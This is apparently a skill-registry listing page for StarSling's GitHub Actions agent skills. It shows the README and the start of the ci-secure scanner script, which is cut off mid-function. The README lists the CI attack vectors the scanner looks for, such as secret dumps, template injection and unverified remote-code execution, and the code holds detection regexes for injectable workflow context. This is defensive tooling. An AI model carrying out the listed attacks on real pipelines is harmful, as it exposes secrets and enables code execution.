Skip to content
Back to search

skills

Agent skills from StarSling

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today

Check it deeper on your machine

It has changed since its scan on 11 Nov 2026. Its scripts were only partly scanned.

As a Claude Code plugin, install it and then ask Claude Code:

/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/starslingdev/skills with scanskillsafety

Or from a terminal, clone it and run it:

git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/starslingdev/skills'

It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.

Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/starslingdev--skills/badge.svg)](/listings/starslingdev--skills)

HTML

<a href="/listings/starslingdev--skills"><img src="/api/listings/starslingdev--skills/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

README.md · README · 278 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

This file has changed since it was scanned, so this is not exactly the text that was scanned, and no line is marked. The findings are listed with the safety scan above.

  1. <div align="center">
  2. # StarSling Skills
  3. Agent skills for faster, safer, and easier-to-debug GitHub Actions.
  4. [![skills.sh](https://skills.sh/b/starslingdev/skills)](https://skills.sh/starslingdev/skills)
  5. [Website](https://starsling.dev/skills)
  6. </div>
  7. ```bash
  8. npx skills add starslingdev/skills
  9. ```
  10. Choose the skills and agent you want when prompted. Add `-g` to install them
  11. for every project instead of only the current one, or use a skill-specific
  12. command from the sections below.
  13. ## Choose a skill
  14. | Skill | Use it when you want to… | Coverage | Reads | Skill file |
  15. |---|---|---|---|---|
  16. | 🏎️&#160;[**ci&#8209;speedup**](#ci-speedup) | Find what is slowing CI down or wasting runner-minutes | 90+ optimization patterns | Local workflows and GitHub run history | [`SKILL.md`](skills/ci-speedup/SKILL.md) |
  17. | 📋&#160;[**ci&#8209;score**](#ci-score) | Grade CI configuration against best practices | 10+ configuration checks | Local checkout | [`SKILL.md`](skills/ci-score/SKILL.md) |
  18. | 🔒&#160;[**ci&#8209;secure**](#ci-secure) | Find critical, exploitable GitHub Actions attack paths | 10+ critical attack vectors | Local workflows; optional GitHub API checks | [`SKILL.md`](skills/ci-secure/SKILL.md) |
  19. | 💫&#160;[**sling**](#sling) | Understand usage, performance, billing, and CI activity across your StarSling account | 15+ account and CI commands | Your StarSling account | [`SKILL.md`](skills/sling/SKILL.md) |
  20. The first three audit a repository. They produce a report, then offer to fix
  21. the findings you select or save the report as Markdown. Fixes stay in your
  22. working tree for review: the skills do not commit, push, or open a pull request
  23. unless you explicitly ask.
  24. `sling` is different: it requires a StarSling account and gives you the
  25. operational view of that account—usage, performance, billing, runs, failures,
  26. runner capacity, and more. It reads the CI data StarSling already collects
  27. rather than auditing workflow files in a checkout. It does not change GitHub
  28. or CI state; requests that do are routed to the GitHub CLI.
  29. ## Requirements and data handling
  30. | Skill | Requirements | Network and data handling |
  31. |---|---|---|
  32. | <code>ci&#8209;speedup</code> | Python 3.9+, PyYAML, authenticated `gh` | Reads GitHub run history through the GitHub API |
  33. | <code>ci&#8209;score</code> | Python 3.9+, PyYAML | Fully offline |
  34. | <code>ci&#8209;secure</code> | Python 3.9+, PyYAML; `gh` optional | Runs locally; `gh` enables nine additional checks |
  35. | `sling` | StarSling account, `sling` CLI, login, and StarSling GitHub App | Queries your account through StarSling's control plane |
  36. The repository-audit skills do not send audit results or repository contents
  37. to StarSling. `sling` sends the organization, repository, and run identifiers
  38. you ask about and stores its credential at `~/.config/sling/credentials`. See
  39. the full [data-handling policy](SECURITY.md).
  40. ---
  41. ## ci-speedup
  42. 🏎️ **Measure what actually makes CI slow, using your own run history.**
  43. **[Open the ci-speedup skill file →](skills/ci-speedup/SKILL.md)**
  44. ```bash
  45. npx skills add starslingdev/skills --skill ci-speedup
  46. ```
  47. Invoke it as `/ci-speedup` (`$ci-speedup` in Codex), or ask: *“Why is my CI
  48. slow?”*
  49. `ci-speedup` reports two separate measures:
  50. - **Developer wall-clock wait:** the merge-gating critical path, which findings
  51. are ranked by.
  52. - **Runner-minutes:** the compute bill and capacity consumed.
  53. The numbers come from real runs. The skill samples per-job P50/P95 timing via
  54. the GitHub API, reconstructs the actual job graph and critical path, and checks
  55. the result against a catalog of [90+ optimization
  56. patterns](skills/ci-speedup/references/optimization-patterns.md) spanning
  57. hygiene, data-driven detection, and structural critical-path analysis.
  58. It diagnoses rather than prescribing a generic fix. Each finding includes a
  59. ready-to-paste prompt for an agent that can inspect the relevant logs, history,
  60. and repository context before changing anything.
  61. **Examples:** [pallets/flask](examples/pallets-flask/ci-speedup-findings-report.md)
  62. · [microsoft/playwright](examples/microsoft-playwright/ci-speedup-findings-report.md)
  63. **Reference:** [Architecture](skills/ci-speedup/ARCHITECTURE.md) ·
  64. [Catalog](skills/ci-speedup/references/optimization-patterns.md) ·
  65. [Wall-clock methodology](skills/ci-speedup/references/wall-clock-methodology.md) ·
  66. [Savings methodology](skills/ci-speedup/references/savings-methodology.md) ·
  67. [Changelog](skills/ci-speedup/CHANGELOG.md) ·
  68. [All files](skills/ci-speedup/) ·
  69. [Website](https://starsling.dev/skills/ci-speedup)
  70. ---
  71. ## ci-score
  72. 📋 **Grade CI configuration against best practices and get a ranked fix for
  73. every gap.**
  74. **[Open the ci-score skill file →](skills/ci-score/SKILL.md)**
  75. ```bash
  76. npx skills add starslingdev/skills --skill ci-score
  77. ```
  78. Invoke it as `/ci-score` (`$ci-score` in Codex), or ask: *“Grade my CI.”* It
  79. runs fully offline.
  80. The score covers 10+ configuration checks, including caching, shallow
  81. checkout, sharding, concurrency cancellation, path filters, timeouts, action
  82. pinning, and OIDC scoping. The score is checks passed divided by checks
  83. applicable; every failed check gets one ranked fix.
  84. It measures **best-practice adherence, not speed**, and it is **not a security
  85. audit**. A small subset of checks is security-adjacent, but the score makes no broader
  86. security claim.
  87. **Example:** [pallets/flask](examples/pallets-flask/ci-score-report.md), scoring
  88. 89/100.
  89. **Reference:** [Methodology](skills/ci-score/references/ci-score-methodology.md)
  90. · [Machine-readable rubric](skills/ci-score/references/ci-score-spec.json) ·
  91. [Changelog](skills/ci-score/CHANGELOG.md) · [All files](skills/ci-score/) ·
  92. [Website](https://starsling.dev/skills/ci-score)
  93. ---
  94. ## ci-secure
  95. 🔒 **Find 10+ critical GitHub Actions attack vectors and fix the findings you
  96. select.**
  97. **[Open the ci-secure skill file →](skills/ci-secure/SKILL.md)**
  98. ```bash
  99. npx skills add starslingdev/skills --skill ci-secure
  100. ```
  101. Invoke it as `/ci-secure` (`$ci-secure` in Codex), or ask: *“Is my CI
  102. secure?”*
  103. The scanner checks for [10+ critical attack
  104. vectors](skills/ci-secure/references/security-patterns.md): template injection,
  105. privileged execution of fork code, cache poisoning, impostor action SHAs,
  106. secret dumps, `$GITHUB_ENV` hijacking, write tokens on untrusted triggers,
  107. credentials in caches and artifacts, unverified remote-code execution, and
  108. dependency install scripts running beside secrets.
  109. Each finding names the file and line, quotes the workflow, and explains what an
  110. attacker could do. Zero findings is a first-class result. A check that could
  111. not run is reported as *did not run*, never as a pass.
  112. This is deliberately **not a comprehensive security audit** and does not
  113. produce a security score. The closed set contains exploit chains with a real
  114. incident behind each one; see [how the vectors are selected](skills/ci-secure/references/why-these-ten.md).
  115. **Examples:** the same `snowflakedb/snowflake-connector-net` workflow at two
  116. commits — [3 findings before the fix](examples/snowflakedb-snowflake-connector-net/ci-secure-report-4a1b8ce.md)
  117. and [0 findings after](examples/snowflakedb-snowflake-connector-net/ci-secure-report-1dc7766.md).
  118. ### ci-secure CI check
  119. The optional CI check runs the same engine on every pull request so fixed
  120. findings do not return. Ask your agent to install it:
  121. **This repository uses it.** See
  122. [`.github/workflows/ci-secure-check.yml`](.github/workflows/ci-secure-check.yml),
  123. which scans this repository's own workflows and publishes the stable
  124. `ci-secure` verdict used by branch protection.
  125. ```text
  126. Run `npx skills add starslingdev/skills --skill ci-secure` to install or
  127. update the ci-secure skill, then install ci-secure as a CI check in this repo.
  128. ```
  129. The check is vendored, not fetched at runtime. Its engine, gate, and license
  130. are copied into the repository, making the code that judges a pull request
  131. readable and stable. The setup starts in advisory mode; remove `--advisory` and
  132. make the check required when you are ready for it to block merges.
  133. **CI-check implementation:** [Gate](skills/ci-secure/scaffold/gate.py) ·
  134. [Workflow](skills/ci-secure/scaffold/ci-secure.yml) ·
  135. [Vendor script](skills/ci-secure/scripts/vendor.py) ·
  136. [Setup guide](skills/ci-secure/references/ci-gate.md)
  137. **Reference:** [Attack vectors](skills/ci-secure/references/security-patterns.md)
  138. · [Selection criteria](skills/ci-secure/references/why-these-ten.md) ·
  139. [Configuration checks](skills/ci-secure/references/security-facts.md) ·
  140. [Troubleshooting](skills/ci-secure/references/troubleshooting.md) ·
  141. [Changelog](skills/ci-secure/CHANGELOG.md) · [All files](skills/ci-secure/) ·
  142. [Website](https://starsling.dev/skills/ci-secure)
  143. ---
  144. ## sling
  145. 💫 **Understand usage, performance, billing, and CI activity across your
  146. StarSling account.**
  147. **[Open the sling skill file →](skills/sling/SKILL.md)**
  148. ```bash
  149. npx skills add starslingdev/skills --skill sling
  150. ```
  151. Invoke it as `/sling` (`$sling` in Codex), or ask: *“What is driving our
  152. StarSling bill?”*, *“How is runner performance trending?”*, or *“Why did this
  153. job fail?”*
  154. Unlike the repository-audit skills, `sling` requires a StarSling account. The
  155. skill drives StarSling's [`sling` CLI](https://docs.starsling.dev/sling-cli),
  156. the agent-first interface to that account, read-only against GitHub and CI.
  157. Its 15+ commands cover:
  158. - **Usage:** attribute runner-minutes and cost by repository, workflow, job,
  159. label, or day.
  160. - **Performance:** decompose wall-clock time, compare lifecycle phases, and
  161. rank time or cost hotspots with trends.
  162. - **Billing:** inspect the current period, month-end projection, credits,
  163. per-label line items, and finalized invoice history.
  164. - **CI activity:** find runs and jobs, diagnose failures, and retrieve only the
  165. relevant log lines.
  166. - **Account and capacity:** work across your organizations and compare the
  167. runner sizes, specifications, and prices available to you.
  168. The routing is part of the skill:
  169. - Account reads—usage, billing, runner performance and capacity, runs, jobs,
  170. and failures—go to `sling`.
  171. - State changes—rerun, cancel, trigger, enable, disable, or artifact
  172. download—go to `gh`.
  173. - Repository-wide workflow audits go to `ci-speedup`, `ci-score`, or
  174. `ci-secure`.
  175. Before answering, the skill checks that the CLI is installed, you are signed
  176. in to your StarSling account, and the [StarSling GitHub
  177. App](https://github.com/apps/starslingdev) is installed for the organization
  178. whose data you want to inspect. The service currently supports organizations,
  179. not personal repositories.
  180. **Reference:** [Verified command reference](skills/sling/references/command-reference.md)
  181. · [GitHub CLI fallback](skills/sling/references/gh-fallback.md) ·
  182. [Machine-readable command surface](skills/sling/references/command-surface.json)
  183. · [Changelog](skills/sling/CHANGELOG.md) · [All files](skills/sling/) ·
  184. [Website](https://starsling.dev/cli) ·
  185. [StarSling homepage](https://starsling.dev/) ·
  186. [CLI documentation](https://docs.starsling.dev/sling-cli)
  187. ---
  188. ## For maintainers
  189. Maintainer-only infrastructure lives outside the installable skill trees, so
  190. the `skills` CLI never copies it into an installation:
  191. - [`maintainers/ci-speedup/`](maintainers/ci-speedup/) — self-improvement loops
  192. that run locally; see its [maintainer guide](maintainers/ci-speedup/MAINTAINERS.md).
  193. - [`maintainers/ci-score/`](maintainers/ci-score/) — maintainer notes and
  194. deliberately excluded checks; see its [maintainer guide](maintainers/ci-score/MAINTAINERS.md).
  195. - [`maintainers/ci-secure/`](maintainers/ci-secure/) — disclosure policy and
  196. enforcement for scans of third-party repositories; see its [maintainer
  197. guide](maintainers/ci-secure/MAINTAINERS.md).
  198. - [`maintainers/skills-registry-security/`](maintainers/skills-registry-security/)
  199. — triage for registry security-audit failures; see its
  200. [README](maintainers/skills-registry-security/README.md).
  201. This repository's internal CI runs on [StarSling
  202. Runners](https://starsling.dev/products/runners). Fork pull requests run the
  203. same suite on GitHub-hosted runners, so untrusted code does not execute on
  204. self-hosted runners. See [CONTRIBUTING.md](CONTRIBUTING.md).
  205. ## License
  206. [MIT](LICENSE)
skills/ci-secure/scripts/scan.py · Bundled script · 7,533 lines · 2 findings marked
  1. #!/usr/bin/env python3
  2. """ci-secure scanner.
  3. Parses METADATA blocks out of references/security-patterns.md, applies the
  4. declared detectors against workflow YAML files in the current repo, and
  5. emits a JSON document on stdout describing the findings. See the catalog's
  6. "METADATA schema" section for the supported detector types.
  7. Usage:
  8. scan.py [--catalog PATH] [--root PATH] [--repo OWNER/REPO]
  9. [--gh-impostor auto|on|off]
  10. `--gh-impostor` gates every GitHub API lookup the vectors make: the
  11. network-gated detector P14.11, and P14.24's release-immutability lookup for
  12. a GitHub CLI extension pinned to a tag. `auto` (the default) runs them iff
  13. `gh` is authenticated; `on` requires it; `off` skips them, so the scan stays
  14. offline. Every outcome is recorded in the output's `gh_checks` — a skip is
  15. never silence.
  16. Exit codes:
  17. 0 success (with or without findings)
  18. 1 scanner error — a coverage failure, never a clean result: catalog
  19. parse/validation failure, no workflows directory, or workflow files
  20. that exist on disk but were not discovered
  21. 2 invalid arguments — a malformed `--repo`, OR `--gh-impostor=on`
  22. with no authenticated gh (the required check could not run)
  23. """
  24. from __future__ import annotations
  25. import argparse
  26. import datetime as _dt
  27. import fnmatch
  28. import glob
  29. import json
  30. import os
  31. import re
  32. import shlex
  33. import shutil
  34. import subprocess
  35. import sys
  36. import time
  37. from collections.abc import Callable
  38. from concurrent.futures import ThreadPoolExecutor
  39. from dataclasses import dataclass
  40. from functools import lru_cache
  41. from pathlib import Path
  42. from typing import Any, Iterator, Literal, TypedDict, get_args
  43. Severity = Literal["HIGH", "MEDIUM", "LOW", "MANUAL"]
  44. Detector = Literal[
  45. "regex",
  46. "yaml-path",
  47. "yaml-path-absent",
  48. "yaml-on-trigger",
  49. "yaml-run-injection",
  50. "yaml-job-correlated", # two predicates that must coexist on one job
  51. "yaml-workflow-correlated", # two predicates that must coexist at workflow scope
  52. "repo-file-check", # reads a file outside .github/workflows/
  53. "gh-impostor-sha", # the one NETWORK-GATED detector: verifies each
  54. # unique `uses: owner/repo@<40-hex>` pin against
  55. # the GitHub API (does the canonical repo contain
  56. # this commit?). Runs only when gh is
  57. # authenticated; scan output records ran/skipped
  58. # so a skip is never a silent pass.
  59. "manual", # documentation-only: never scanned. Coverage
  60. # is provided out-of-band (human review); the
  61. # catalog entry exists for reference.
  62. ]
  63. class Finding(TypedDict):
  64. """Required base shape of a single finding emitted to the report.
  65. ``total=True`` (the default) deliberately: these eleven keys are
  66. emitted by the scan producer, so the
  67. type says what the prose used to only describe — a finding without,
  68. say, ``severity`` or ``line`` is malformed, not merely "optional".
  69. ``report.py`` validates incoming findings against this contract at its
  70. JSON-load boundary (``_validate_findings``) and surfaces violations
  71. loudly rather than rendering them with silent defaults (severity →
  72. MANUAL, line → 0), which would bury a real finding at the bottom of the
  73. report. Optional, producer-specific keys live on ``FindingExtra``.
  74. """
  75. id: str
  76. pattern: str
  77. severity: Severity
  78. title: str
  79. workflow_file: str
  80. line: int
  81. affected_jobs: list[str]
  82. workflow_activity: dict[str, Any]
  83. evidence: str
  84. fix_strategy: str
  85. fix_recipe_anchor: str
  86. class FindingExtra(Finding, total=False):
  87. """``Finding`` plus the keys some producers add. All optional."""
  88. # Merged onto every member of a group by the orchestrator at runtime
  89. # (SKILL.md Phase 2.5): the repo-grounded exploitation scenario the
  90. # report renders at the top of each finding. Either an object with one
  91. # plain-English field per report section (`what_it_does`, `why_flagged`,
  92. # `what_must_go_wrong`, `attacker_could`, `verdict`, `how_to_close`), or —
  93. # from an older run — one paragraph, which renders under "What an
  94. # attacker could do then". Absent → the report falls back to the
  95. # catalog's static capability line.
  96. attacker_scenario: str | dict[str, Any]
  97. # P14.18 only: GitHub's "Allow GitHub Actions to create and approve pull
  98. # requests" repository setting, read over the API. `state` is "true",
  99. # "false" or "unread" (the reason in `detail`) — never guessed.
  100. actions_can_approve_prs: dict[str, str]
  101. # Detector-specific guidance for findings whose evidence changes the
  102. # appropriate remediation within one catalog pattern.
  103. fix_guidance: str
  104. audit_id: str
  105. audit_url: str
  106. # "source" (evidence quotes the workflow verbatim) or "derived" (evidence
  107. # is a claim the scanner assembled about the file — the correlated chain
  108. # detectors state two facts that coexist). Absent is read as "source".
  109. evidence_kind: str
  110. try:
  111. import yaml # PyYAML
  112. except ImportError:
  113. print(
  114. "ERROR: PyYAML is required. Install with: pip install pyyaml",
  115. file=sys.stderr,
  116. )
  117. sys.exit(1)
  118. # Allow `from config import ...` and `from gh_utils import ...` regardless
  119. # of where this script is invoked from.
  120. _THIS_DIR = Path(__file__).resolve().parent
  121. if str(_THIS_DIR) not in sys.path:
  122. sys.path.insert(0, str(_THIS_DIR))
  123. from config import ( # noqa: E402
  124. ACTIVITY_RUN_LIMIT,
  125. DORMANT_DAYS,
  126. setup_logging,
  127. )
  128. logger = setup_logging(__name__)
  129. # A METADATA block is an HTML comment beginning with `<!-- METADATA` on its
  130. # own line and ending with `-->`. Each line is `key: value`. The block is
  131. # attached to the most recent `### Pxx.y` heading.
  132. _PATTERN_HEADING = re.compile(r"^###\s+(P\d+(?:\.\d+)?)\s+", re.MULTILINE)
  133. _PATTERN_HEADING_FULL = re.compile(r"^###\s+(.+?)\s*$", re.MULTILINE)
  134. _METADATA_BLOCK = re.compile(
  135. r"<!--\s*METADATA\s*(.*?)\s*-->",
  136. re.DOTALL,
  137. )
  138. # Characters that survive GitHub's heading-slug algorithm. Anything outside
  139. # this set is dropped, then spaces are converted to hyphens. Mirrors the
  140. # behavior of GitHub's blob renderer for `###`-style anchors.
  141. _SLUG_KEEP = re.compile(r"[^a-z0-9 \-_]")
  142. _VALID_SEVERITIES = frozenset(get_args(Severity))
  143. _VALID_DETECTORS = frozenset(get_args(Detector))
  144. @dataclass(frozen=True)
  145. class CatalogEntry:
  146. pattern: str
  147. severity: Severity
  148. detector: Detector
  149. affected_files: list[str]
  150. fix_strategy: str
  151. title_template: str
  152. match: str | None = None
  153. yaml_path: str | None = None
  154. yaml_value: str | None = None
  155. trigger_keys: list[str] | None = None
  156. # New: named correlation/check identifier for the three new
  157. # detector classes. Each names a Python function in scan.py's
  158. # CORRELATION / FILE_CHECK dispatch tables — keeps METADATA
  159. # short while letting the catalog opt into specific predicates.
  160. correlation: str | None = None
  161. file_check: str | None = None
  162. anchor: str = ""
  163. def __post_init__(self) -> None:
  164. if self.severity not in _VALID_SEVERITIES:
  165. raise ValueError(
  166. f"Pattern {self.pattern}: unknown severity {self.severity!r}"
  167. )
  168. if self.detector not in _VALID_DETECTORS:
  169. raise ValueError(
  170. f"Pattern {self.pattern}: unknown detector {self.detector!r}"
  171. )
  172. if self.detector in ("regex", "yaml-run-injection") and not self.match:
  173. raise ValueError(
  174. f"Pattern {self.pattern}: {self.detector} detector requires match"
  175. )
  176. if (
  177. self.detector in ("yaml-path", "yaml-path-absent")
  178. and not self.yaml_path
  179. ):
  180. raise ValueError(
  181. f"Pattern {self.pattern}: {self.detector} requires yaml_path"
  182. )
  183. if self.detector == "yaml-on-trigger" and not self.trigger_keys:
  184. raise ValueError(
  185. f"Pattern {self.pattern}: yaml-on-trigger requires trigger_keys"
  186. )
  187. if (
  188. self.detector
  189. in ("yaml-job-correlated", "yaml-workflow-correlated")
  190. and not self.correlation
  191. ):
  192. raise ValueError(
  193. f"Pattern {self.pattern}: {self.detector} requires correlation"
  194. )
  195. if self.detector == "repo-file-check" and not self.file_check:
  196. raise ValueError(
  197. f"Pattern {self.pattern}: repo-file-check requires file_check"
  198. )
  199. @property
  200. def affected_globs(self) -> list[str]:
  201. return [g.strip() for g in self.affected_files if g.strip()]
  202. def _parse_metadata_block(body: str) -> dict[str, str]:
  203. out: dict[str, str] = {}
  204. for raw_line in body.splitlines():
  205. line = raw_line.strip()
  206. if not line or ":" not in line:
  207. continue
  208. key, _, value = line.partition(":")
  209. out[key.strip()] = value.strip().strip('"')
  210. return out
  211. def _github_slug(heading_text: str) -> str:
  212. """Reproduce GitHub's heading-anchor slug algorithm.
  213. GitHub lowercases the heading, drops every character outside
  214. ``[a-z0-9 _-]``, then replaces spaces with hyphens. Em-dashes and
  215. other punctuation become empty strings, which often produces visible
  216. double-hyphens (e.g. ``p148--id-token-write-...``).
  217. """
  218. text = heading_text.lower()
  219. text = _SLUG_KEEP.sub("", text)
  220. return text.replace(" ", "-")
  221. def _anchor_for(pattern: str, heading_text: str) -> str:
  222. """Return the GitHub-style anchor for a catalog pattern heading.
  223. Always derived from the full heading text so cross-links resolve
  224. against GitHub's rendered anchor (e.g. ``p148--id-token-write-...``)
  225. rather than the bare pattern id.
  226. """
  227. return _github_slug(heading_text)
  228. class CoverageError(RuntimeError):
  229. """A scan could not cover what it claims to cover.
  230. Raised — never swallowed — when the scanner would otherwise emit a
  231. result that reads as clean while a check silently did not happen: a
  232. catalog entry that failed to load (its chain would simply vanish from
  233. the report), or workflow files that exist on disk but were not
  234. discovered. ``main()`` turns it into exit 1.
  235. """
  236. def load_catalog(catalog_path: Path) -> list[CatalogEntry]:
  237. """Parse every ``### Pxx.y`` section's METADATA block into a CatalogEntry.
  238. STRICT by construction: a section that fails to yield a valid entry
  239. raises instead of being skipped. A dropped entry is invisible in the
  240. output — the chain is simply never evaluated and the report says
  241. "clean" — so a one-character METADATA typo would silently delete a
  242. detector. Failing the whole load makes that a loud coverage failure.
  243. """
  244. if not catalog_path.exists():
  245. raise FileNotFoundError(f"Catalog not found at {catalog_path}")
  246. text = catalog_path.read_text(encoding="utf-8")
  247. headings: list[tuple[str, int]] = [
  248. (m.group(1), m.start()) for m in _PATTERN_HEADING.finditer(text)
  249. ]
  250. if not headings:
  251. raise ValueError(f"No pattern headings found in {catalog_path}")
  252. section_bounds: list[tuple[str, int, int]] = []
  253. for i, (pattern, start) in enumerate(headings):
  254. end = headings[i + 1][1] if i + 1 < len(headings) else len(text)
  255. section_bounds.append((pattern, start, end))
  256. entries: list[CatalogEntry] = []
  257. for pattern_id, start, end in section_bounds:
  258. section = text[start:end]
  259. heading_match = _PATTERN_HEADING_FULL.search(section)
  260. heading_text = heading_match.group(1).strip() if heading_match else pattern_id
  261. m = _METADATA_BLOCK.search(section)
  262. if not m:
  263. raise ValueError(
  264. f"Pattern {pattern_id}: no METADATA block — the section cannot "
  265. f"be scanned"
  266. )
  267. meta = _parse_metadata_block(m.group(1))
  268. if meta.get("pattern") and meta["pattern"] != pattern_id:
  269. raise ValueError(
  270. f"Pattern {pattern_id}: heading mismatches METADATA pattern "
  271. f"{meta['pattern']}"
  272. )
  273. affected_files = [
  274. g.strip()
  275. for g in (meta.get("affected_files") or "").split(",")
  276. if g.strip()
  277. ]
  278. trigger_keys: list[str] | None = None
  279. raw_trigger_keys = meta.get("trigger_keys")
  280. if raw_trigger_keys:
  281. trigger_keys = [k.strip() for k in raw_trigger_keys.split(",") if k.strip()]
  282. try:
  283. entries.append(
  284. CatalogEntry(
  285. pattern=pattern_id,
  286. severity=meta.get("severity", "MANUAL"),
  287. # No default for `detector`: a missing key is a real
  288. # catalog bug, and the KeyError below is re-raised as a
  289. # ValueError naming the pattern rather than a silent
  290. # post-init validation failure on an inscrutable
  291. # `"manual"` string that's no longer a valid value.
  292. detector=meta["detector"],
  293. affected_files=affected_files,
  294. fix_strategy=meta.get("fix_strategy", ""),
  295. title_template=meta.get(
  296. "title_template", "Finding in {basename}"
  297. ),
  298. match=meta.get("match"),
  299. yaml_path=meta.get("yaml_path"),
  300. yaml_value=meta.get("yaml_value"),
  301. trigger_keys=trigger_keys,
  302. correlation=meta.get("correlation"),
  303. file_check=meta.get("file_check"),
  304. anchor=_anchor_for(pattern_id, heading_text),
  305. )
  306. )
  307. except KeyError as e:
  308. raise ValueError(
  309. f"Pattern {pattern_id}: METADATA missing required key {e}"
  310. ) from e
  311. # Catalog-load-time validation: reject entries whose
  312. # correlation/file_check identifier doesn't resolve to a real
  313. # dispatch function. The tables are defined later in this module,
  314. # but `_validate_catalog_dispatch` is called only at load time so
  315. # they're populated by then.
  316. return _validate_catalog_dispatch(entries)
  317. def discover_workflow_files(root: Path, globs: list[str]) -> list[Path]:
  318. """Resolve ``globs`` under ``root``.
  319. ``root`` is escaped: it is a filesystem path, not a pattern, and a
  320. literal glob metacharacter in a directory name (``/tmp/repo[1]/``) would
  321. otherwise be interpreted as a character class and match nothing — every
  322. workflow silently invisible, the scan "clean".
  323. """
  324. seen: set[Path] = set()
  325. root_pattern = glob.escape(str(root))
  326. for pattern in globs:
  327. for match in glob.glob(os.path.join(root_pattern, pattern), recursive=True):
  328. p = Path(match).resolve()
  329. if p.is_file():
  330. seen.add(p)
  331. return sorted(seen)
  332. def all_workflow_files(root: Path) -> list[Path]:
  333. # The `.*` patterns are not redundant: `glob` refuses to match a leading
  334. # dot with `*`, so a dot-prefixed workflow (`.test.yml`, as moby ships)
  335. # was invisible to discovery while the coverage tripwire's directory
  336. # listing — the ground truth — saw it, and the whole repo was refused.
  337. return discover_workflow_files(
  338. root,
  339. [
  340. ".github/workflows/*.yml", ".github/workflows/*.yaml",
  341. ".github/workflows/.*.yml", ".github/workflows/.*.yaml",
  342. ],
  343. )
  344. def _undiscovered_workflows(root: Path, discovered: list[Path]) -> list[str]:
  345. """Workflow files present in ``.github/workflows/`` that discovery missed.
  346. Discovery returning nothing where the directory plainly holds workflow
  347. YAML is not an empty repo — it is a broken scan that would render as a
  348. clean one. Compared by resolved path so a symlinked or escaped root
  349. can't produce a phantom mismatch.
  350. """
  351. wf_dir = root / ".github" / "workflows"
  352. if not wf_dir.is_dir():
  353. return []
  354. found = {p.resolve() for p in discovered}
  355. try:
  356. listed = sorted(
  357. p for p in wf_dir.iterdir()
  358. if p.is_file() and p.suffix in (".yml", ".yaml")
  359. )
  360. except OSError as e:
  361. logger.warning("could not list %s: %s", wf_dir, e)
  362. return []
  363. return [p.name for p in listed if p.resolve() not in found]
  364. @dataclass(frozen=True)
  365. class RawHit:
  366. """An immutable detector hit. Produced by a detector generator and
  367. consumed straight into a ``Finding`` dict — never mutated — so it's
  368. frozen, matching the sibling ``CatalogEntry``."""
  369. line: int
  370. evidence: str
  371. match_text: str
  372. # True when `evidence` is a sentence this scanner SYNTHESIZED about the
  373. # workflow (the correlated chain detectors state two facts that coexist)
  374. # rather than lines quoted verbatim from the file. The report must not
  375. # dress a derived claim as quoted source — a reader who opens the file
  376. # looking for that text does not find it.
  377. derived: bool = False
  378. # An optional SECOND claim, always derived, rendered under the verbatim
  379. # evidence and labelled as assembled-by-the-scanner. It exists for a
  380. # detector whose finding is "this quoted line, *because of* a condition
  381. # elsewhere in the job" (P14.25: an install command is only a finding when
  382. # the same job holds secrets or a write scope). Folding that condition into
  383. # `evidence` would either lose the verbatim quote or dress the derived half
  384. # as source; a separate field keeps both honest.
  385. derived_note: str | None = None
  386. # A small number of evidence-sensitive patterns have a catalog default
  387. # severity but can prove a narrower risk profile for this occurrence.
  388. severity_override: Severity | None = None
  389. attacker_scenario: str | None = None
  390. fix_strategy_override: str | None = None
  391. fix_guidance: str | None = None
  392. _CONTEXT_PATH_RE = re.compile(
  393. r"\b(?P<path>(?:inputs|client_payload|repository_dispatch\.client_payload|"
  394. r"github\.event)(?:(?:\.[A-Za-z_][A-Za-z0-9_-]*)|"
  395. r"(?:\s*\[\s*(?:'[^']+'|\"[^\"]+\")\s*\]))+)",
  396. )
  397. _CONTEXT_BRACKET_KEY_RE = re.compile(
  398. r"\s*\[\s*(?:'(?P<single>[^']+)'|\"(?P<double>[^\"]+)\")\s*\]",
  399. )
  400. def _normalize_context_brackets(text: str) -> str:
  401. """Turn quoted context indexes into dotted paths without moving offsets.
  402. The detector patterns describe context paths in dotted form. GitHub also
  403. accepts bracket indexing, which is required for names containing a hyphen.
  404. Each complete bracket chain is rewritten at once so a chain such as
  405. ``github.event['inputs']['max-items']`` remains one path. Spaces pad the
  406. shorter dotted spelling to the original length, preserving source offsets
  407. and line attribution for the raw workflow text.
  408. """
  409. def _replace_path(match: re.Match[str]) -> str:
  410. path = match.group("path")
  411. def _replace_key(key_match: re.Match[str]) -> str:
  412. key = key_match.group("single") or key_match.group("double") or ""
  413. return "." + re.sub(r"[^A-Za-z0-9_]", "_", key)
  414. dotted = _CONTEXT_BRACKET_KEY_RE.sub(_replace_key, path)
  415. # Pad before the replacement so every dotted and bracket segment stays
  416. # attached. The total length is unchanged, so later source offsets
  417. # still line up with the original workflow text.
  418. return " " * (len(path) - len(dotted)) + dotted
  419. # Shell text may contain bracket-looking strings whose quoted key embeds a
  420. # template expression. Rewriting the whole shell scalar would consume that
  421. # expression and hide the injection, so only expression bodies are
  422. # normalized. Walk once rather than searching from every `${{`: an
  423. # unclosed expression is untrusted input too, and the old lookahead regex
  424. # rescanned the remainder for every additional opener.
  425. pieces: list[str] = []
  426. cursor = 0
  427. while True:
  428. opening = text.find("${{", cursor)
  429. if opening < 0:
  430. pieces.append(text[cursor:])
  431. break
  432. closing = text.find("}}", opening + 3)
  433. if closing < 0:
  434. pieces.append(text[cursor:])
  435. break
  436. pieces.append(text[cursor:opening])
  437. expression = text[opening:closing + 2]
  438. pieces.append(_CONTEXT_PATH_RE.sub(_replace_path, expression))
  439. cursor = closing + 2
  440. return "".join(pieces)
  441. def detect_regex(file_path: Path, pattern: str, *,
  442. normalize_context_brackets: bool = False) -> Iterator[RawHit]:
  443. content = _read_text_safe(file_path)
  444. if not content:
  445. return
  446. match_content = (
  447. _normalize_context_brackets(content)
